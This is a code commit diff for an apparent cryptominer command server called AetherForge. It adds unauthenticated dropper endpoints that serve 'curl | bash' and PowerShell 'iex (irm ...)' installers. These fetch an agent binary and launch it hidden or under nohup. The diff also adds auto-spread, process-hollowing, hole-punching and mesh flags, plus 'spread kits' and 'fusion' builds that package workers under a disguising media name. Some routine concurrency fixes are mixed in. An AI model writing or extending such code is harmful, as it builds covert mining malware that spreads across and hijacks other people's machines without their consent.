Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -129,7 +129,7 @@ func (h *BlueprintHandler) saveBlueprint(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
|
||||
if err := os.WriteFile(filePath, formatted, 0644); err != nil {
|
||||
if err := os.WriteFile(filePath, formatted, 0600); err != nil {
|
||||
http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
202
server/internal/api/dropper_handler.go
Normal file
202
server/internal/api/dropper_handler.go
Normal file
@@ -0,0 +1,202 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
// DropperHandler serves the one-liner remote-install endpoints:
|
||||
//
|
||||
// GET /get — auto-detect OS from User-Agent, serve latest binary
|
||||
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
|
||||
// GET /install.sh — bash one-liner installer (Linux / macOS)
|
||||
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
||||
type DropperHandler struct {
|
||||
db *dbpkg.Database
|
||||
publicURLFunc func() string
|
||||
}
|
||||
|
||||
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
|
||||
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
|
||||
}
|
||||
|
||||
func (h *DropperHandler) publicURL() string {
|
||||
if h.publicURLFunc != nil {
|
||||
if u := h.publicURLFunc(); u != "" {
|
||||
return strings.TrimRight(u, "/")
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// detectPlatform picks the right build platform from an explicit query param or
|
||||
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
|
||||
func detectPlatform(r *http.Request) string {
|
||||
if p := r.URL.Query().Get("os"); p != "" {
|
||||
switch strings.ToLower(p) {
|
||||
case "windows", "win":
|
||||
return "windows"
|
||||
case "linux":
|
||||
return "linux"
|
||||
case "darwin", "mac", "macos":
|
||||
return "darwin"
|
||||
case "universal", "any":
|
||||
return "universal"
|
||||
}
|
||||
}
|
||||
ua := strings.ToLower(r.Header.Get("User-Agent"))
|
||||
switch {
|
||||
case strings.Contains(ua, "windows"):
|
||||
return "windows"
|
||||
case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
|
||||
return "darwin"
|
||||
case strings.Contains(ua, "linux"):
|
||||
return "linux"
|
||||
}
|
||||
return "" // caller will fall back to latest build regardless of platform
|
||||
}
|
||||
|
||||
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
|
||||
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
platform := detectPlatform(r)
|
||||
|
||||
// Try exact platform match, then fall back to universal, then any.
|
||||
candidates := []string{platform, "universal", ""}
|
||||
if platform == "" {
|
||||
candidates = []string{"universal", ""}
|
||||
}
|
||||
|
||||
var buildPath, buildName string
|
||||
for _, p := range candidates {
|
||||
b, err := h.db.GetLatestBuildForPlatform(p)
|
||||
if err == nil && b != nil {
|
||||
buildPath = b.FilePath
|
||||
buildName = filepath.Base(b.FilePath)
|
||||
break
|
||||
}
|
||||
}
|
||||
if buildPath == "" {
|
||||
http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
http.ServeFile(w, r, buildPath)
|
||||
}
|
||||
|
||||
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
|
||||
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.publicURL()
|
||||
if base == "" {
|
||||
// Best-effort: derive from request
|
||||
scheme := "http"
|
||||
if r.TLS != nil {
|
||||
scheme = "https"
|
||||
}
|
||||
base = scheme + "://" + r.Host
|
||||
}
|
||||
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
# AetherForge one-liner installer
|
||||
# Usage: curl -sL %s/install.sh | bash
|
||||
|
||||
set -e
|
||||
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$ARCH" in
|
||||
x86_64) ARCH="amd64" ;;
|
||||
aarch64|arm64) ARCH="arm64" ;;
|
||||
esac
|
||||
|
||||
TMPDIR="$(mktemp -d)"
|
||||
DEST="$TMPDIR/worker"
|
||||
|
||||
echo "[*] Downloading agent for $OS/$ARCH..."
|
||||
curl -sL -o "$DEST" "%s/get?os=$OS"
|
||||
|
||||
if file "$DEST" 2>/dev/null | grep -q "Zip"; then
|
||||
echo "[*] Extracting universal bundle..."
|
||||
unzip -q "$DEST" -d "$TMPDIR/bundle"
|
||||
cd "$TMPDIR/bundle"
|
||||
# Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command
|
||||
if [ "$OS" = "darwin" ]; then
|
||||
for L in Start.command start.command; do
|
||||
if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi
|
||||
done
|
||||
fi
|
||||
for L in start.sh deploy.sh; do
|
||||
if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi
|
||||
done
|
||||
echo "[!] Could not find launcher in bundle"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
chmod +x "$DEST"
|
||||
echo "[*] Launching..."
|
||||
nohup "$DEST" >/dev/null 2>&1 &
|
||||
echo "[+] Agent started (pid $!)"
|
||||
`, base, base)
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
|
||||
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
|
||||
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
base := h.publicURL()
|
||||
if base == "" {
|
||||
scheme := "http"
|
||||
if r.TLS != nil {
|
||||
scheme = "https"
|
||||
}
|
||||
base = scheme + "://" + r.Host
|
||||
}
|
||||
|
||||
// PowerShell backticks would conflict with Go raw-string backticks; build the
|
||||
// script as a regular string so we can escape them properly.
|
||||
bt := "`" // backtick character
|
||||
script := "# AetherForge one-liner installer\n" +
|
||||
"# Usage: iex (irm '" + base + "/install.ps1')\n\n" +
|
||||
"$ErrorActionPreference = 'Stop'\n" +
|
||||
"$url = '" + base + "/get?os=windows'\n" +
|
||||
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" +
|
||||
"Write-Host '[*] Downloading agent...'\n" +
|
||||
"Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" +
|
||||
"$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" +
|
||||
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" +
|
||||
"if ($isZip) {\n" +
|
||||
" Write-Host '[*] Extracting universal bundle...'\n" +
|
||||
" $dir = $tmp + '_bundle'\n" +
|
||||
" Add-Type -AssemblyName System.IO.Compression.FileSystem\n" +
|
||||
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" +
|
||||
// Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both.
|
||||
" $bat = $null\n" +
|
||||
" foreach ($name in @('Start.bat','Deploy.bat')) {\n" +
|
||||
" $candidate = Join-Path $dir $name\n" +
|
||||
" if (Test-Path $candidate) { $bat = $candidate; break }\n" +
|
||||
" }\n" +
|
||||
" if ($bat) {\n" +
|
||||
" Write-Host '[*] Running launcher...'\n" +
|
||||
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" +
|
||||
" } else {\n" +
|
||||
" Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" +
|
||||
" }\n" +
|
||||
"} else {\n" +
|
||||
" $exe = $tmp + '.exe'\n" +
|
||||
" Move-Item -Path $tmp -Destination $exe -Force\n" +
|
||||
" Write-Host '[*] Launching...'\n" +
|
||||
" Start-Process -FilePath $exe -WindowStyle Hidden\n" +
|
||||
"}\n" +
|
||||
"Write-Host '[+] Agent deployed.'\n"
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
|
||||
fmt.Fprint(w, script)
|
||||
}
|
||||
@@ -4,7 +4,6 @@ import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -70,14 +69,10 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
content := f.ws.GetAgentLog(id)
|
||||
if r.URL.Query().Get("refresh") == "1" {
|
||||
// Fire the get_log command and return immediately — the response arrives
|
||||
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
|
||||
// The dashboard will receive the log content via the commandResults queue.
|
||||
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
||||
for i := 0; i < 12; i++ {
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
if c := f.ws.GetAgentLog(id); c != "" {
|
||||
content = c
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"agent_id": id,
|
||||
|
||||
@@ -50,7 +50,8 @@ func newTestRouter(t *testing.T) (http.Handler, string) {
|
||||
_ = os.MkdirAll(webRoot, 0755)
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, dataDir, nil), dataDir
|
||||
dropperHandler := NewDropperHandler(database, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), dataDir
|
||||
}
|
||||
|
||||
func TestHealthIsPublic(t *testing.T) {
|
||||
|
||||
@@ -58,9 +58,10 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
}
|
||||
|
||||
path := r.URL.Path
|
||||
// Agent-facing API + health + forged worker downloads stay open for agents.
|
||||
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
||||
path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
|
||||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
@@ -87,7 +88,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
loadUsers(dataDir)
|
||||
|
||||
r := chi.NewRouter()
|
||||
@@ -188,6 +189,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||
|
||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
||||
if dropperHandler != nil {
|
||||
r.Get("/get", dropperHandler.ServeGet)
|
||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||
r.Get("/install.ps1", dropperHandler.ServePs1)
|
||||
}
|
||||
|
||||
// Serve frontend SPA
|
||||
if webRoot != "" {
|
||||
// Check if webroot directory exists
|
||||
|
||||
@@ -42,15 +42,41 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
|
||||
return c.Conn.WriteJSON(v)
|
||||
}
|
||||
|
||||
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
|
||||
// broadcastDashboard and the ping loop never race on the same connection.
|
||||
type DashboardConn struct {
|
||||
Conn *websocket.Conn
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteMessage(messageType, data)
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteJSON(v interface{}) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteJSON(v)
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
return d.Conn.WriteControl(messageType, data, deadline)
|
||||
}
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
dashboards map[string]*websocket.Conn
|
||||
dashboards map[string]*DashboardConn
|
||||
poolManager *pool.Manager
|
||||
defaultPool pool.Config
|
||||
aiHandler *AIHandler
|
||||
agentConfigs map[string]AgentForgeConfig
|
||||
agentLogs map[string]string
|
||||
agentConfigs map[string]AgentForgeConfig
|
||||
agentCapabilities map[string]models.AgentCapabilities
|
||||
agentLogs map[string]string
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
mu sync.RWMutex
|
||||
@@ -60,9 +86,10 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
return &WSHub{
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*websocket.Conn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentLogs: make(map[string]string),
|
||||
dashboards: make(map[string]*DashboardConn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
}
|
||||
@@ -92,7 +119,7 @@ func (h *WSHub) pingInterval() time.Duration {
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
||||
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
|
||||
interval := h.pingInterval()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
@@ -109,6 +136,23 @@ func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
|
||||
interval := h.pingInterval()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
|
||||
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
dc.Conn.SetPongHandler(func(string) error {
|
||||
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
})
|
||||
|
||||
for range ticker.C {
|
||||
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
@@ -181,7 +225,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
go h.runPingLoopRaw(conn)
|
||||
|
||||
agentID := ""
|
||||
defer func() {
|
||||
@@ -240,6 +284,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -256,12 +308,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
|
||||
|
||||
policy := h.serverPolicySnapshot()
|
||||
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
|
||||
forgeCfg := AgentForgeConfig{
|
||||
Wallet: auth.Wallet,
|
||||
@@ -274,8 +320,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AIModel: auth.AIModel,
|
||||
}
|
||||
|
||||
caps := models.AgentCapabilities{
|
||||
HolePunch: auth.HolePunch,
|
||||
RemoteAggressive: auth.RemoteAggressive,
|
||||
MeshP2P: auth.MeshP2P,
|
||||
AutoSpread: auth.AutoSpread,
|
||||
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||||
AIEnabled: auth.AIEnabled,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.agentConfigs[agentID] = forgeCfg
|
||||
h.agentCapabilities[agentID] = caps
|
||||
h.mu.Unlock()
|
||||
|
||||
if h.poolManager != nil {
|
||||
@@ -301,15 +357,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
Wallet: auth.Wallet,
|
||||
IP: clientIP,
|
||||
Version: auth.Version,
|
||||
Status: "online",
|
||||
CPUCores: auth.CPUCores,
|
||||
MemoryGB: auth.MemoryGB,
|
||||
LastSeen: time.Now(),
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
Wallet: auth.Wallet,
|
||||
IP: clientIP,
|
||||
Version: auth.Version,
|
||||
Status: "online",
|
||||
CPUCores: auth.CPUCores,
|
||||
MemoryGB: auth.MemoryGB,
|
||||
LastSeen: time.Now(),
|
||||
Platform: auth.Platform,
|
||||
Arch: auth.Arch,
|
||||
OSVersion: auth.OSVersion,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
if err := h.db.UpsertAgent(agent); err != nil {
|
||||
@@ -324,7 +384,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||
}
|
||||
|
||||
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
|
||||
// two concurrent new agents could both pass the count check under RLock, then
|
||||
// both get registered, overshooting the limit.
|
||||
h.mu.Lock()
|
||||
if policy.MaxAgents > 0 {
|
||||
_, alreadyConnected := h.agents[agentID]
|
||||
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
|
||||
h.mu.Unlock()
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
break
|
||||
}
|
||||
}
|
||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||
oldConn := old.Conn
|
||||
h.mu.Unlock()
|
||||
@@ -536,9 +609,10 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
dc := &DashboardConn{Conn: conn}
|
||||
dashID := uuid.New().String()
|
||||
h.mu.Lock()
|
||||
h.dashboards[dashID] = conn
|
||||
h.dashboards[dashID] = dc
|
||||
h.mu.Unlock()
|
||||
|
||||
defer func() {
|
||||
@@ -550,14 +624,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// Send initial data
|
||||
agents, _ := h.db.ListAgents()
|
||||
h.enrichAgentsCapabilities(agents)
|
||||
stats, _ := h.db.GetFleetStats()
|
||||
|
||||
conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
||||
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
||||
"agents": agents,
|
||||
"stats": stats,
|
||||
})})
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
go h.runPingLoopDash(dc)
|
||||
|
||||
// Keep connection alive, read close messages
|
||||
for {
|
||||
@@ -577,10 +652,10 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
return
|
||||
}
|
||||
|
||||
for id, conn := range h.dashboards {
|
||||
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
for id, dc := range h.dashboards {
|
||||
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||
conn.Close()
|
||||
dc.Conn.Close()
|
||||
id := id
|
||||
go func() {
|
||||
h.mu.Lock()
|
||||
@@ -635,6 +710,20 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
|
||||
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
|
||||
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
for _, a := range agents {
|
||||
if a == nil {
|
||||
continue
|
||||
}
|
||||
if caps, ok := h.agentCapabilities[a.ID]; ok {
|
||||
c := caps
|
||||
a.Capabilities = &c
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) GetAgentLog(agentID string) string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
426
server/internal/builder/build_universal.go
Normal file
426
server/internal/builder/build_universal.go
Normal file
@@ -0,0 +1,426 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
platforms := platformsForRequest(req)
|
||||
workerPaths := map[string]string{}
|
||||
for _, p := range platforms {
|
||||
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
workerPaths[p.Label()] = wp
|
||||
}
|
||||
|
||||
if req.SpreadKit && !req.FusionEnabled {
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
}
|
||||
|
||||
if req.FusionEnabled {
|
||||
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
|
||||
}
|
||||
|
||||
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
}
|
||||
|
||||
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
if req.SpreadKit {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
} else {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-universal"
|
||||
}
|
||||
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
for _, p := range platforms {
|
||||
src := workers[p.Label()]
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
destName := "worker" + p.Ext
|
||||
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
|
||||
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
|
||||
|
||||
zipName := subdir + "-package.zip"
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
|
||||
primary := workers[platforms[0].Label()]
|
||||
if w, ok := workers["windows-amd64"]; ok {
|
||||
primary = w
|
||||
}
|
||||
zipSt, _ := os.Stat(zipPath)
|
||||
zipBytes := int64(0)
|
||||
if zipSt != nil {
|
||||
zipBytes = zipSt.Size()
|
||||
}
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes,
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: zipName,
|
||||
FilePath: zipPath,
|
||||
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
|
||||
FileSize: zipBytes,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleFileName: zipName,
|
||||
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleSize: zipBytes,
|
||||
FusionExportDir: outDir,
|
||||
ExportPath: outDir,
|
||||
}, http.StatusOK, primary
|
||||
}
|
||||
|
||||
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
// Resolve payload display name (used for runner naming and ZIP title)
|
||||
payloadBase := filepath.Base(prepPath)
|
||||
title := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if title == "" {
|
||||
title = payloadBase
|
||||
}
|
||||
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
if titleBase == "" {
|
||||
titleBase = "fusion"
|
||||
}
|
||||
|
||||
subdir := fusionExportSubdir(req, title)
|
||||
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
var fusionResults []*fusionBuildResult
|
||||
var primaryPath string
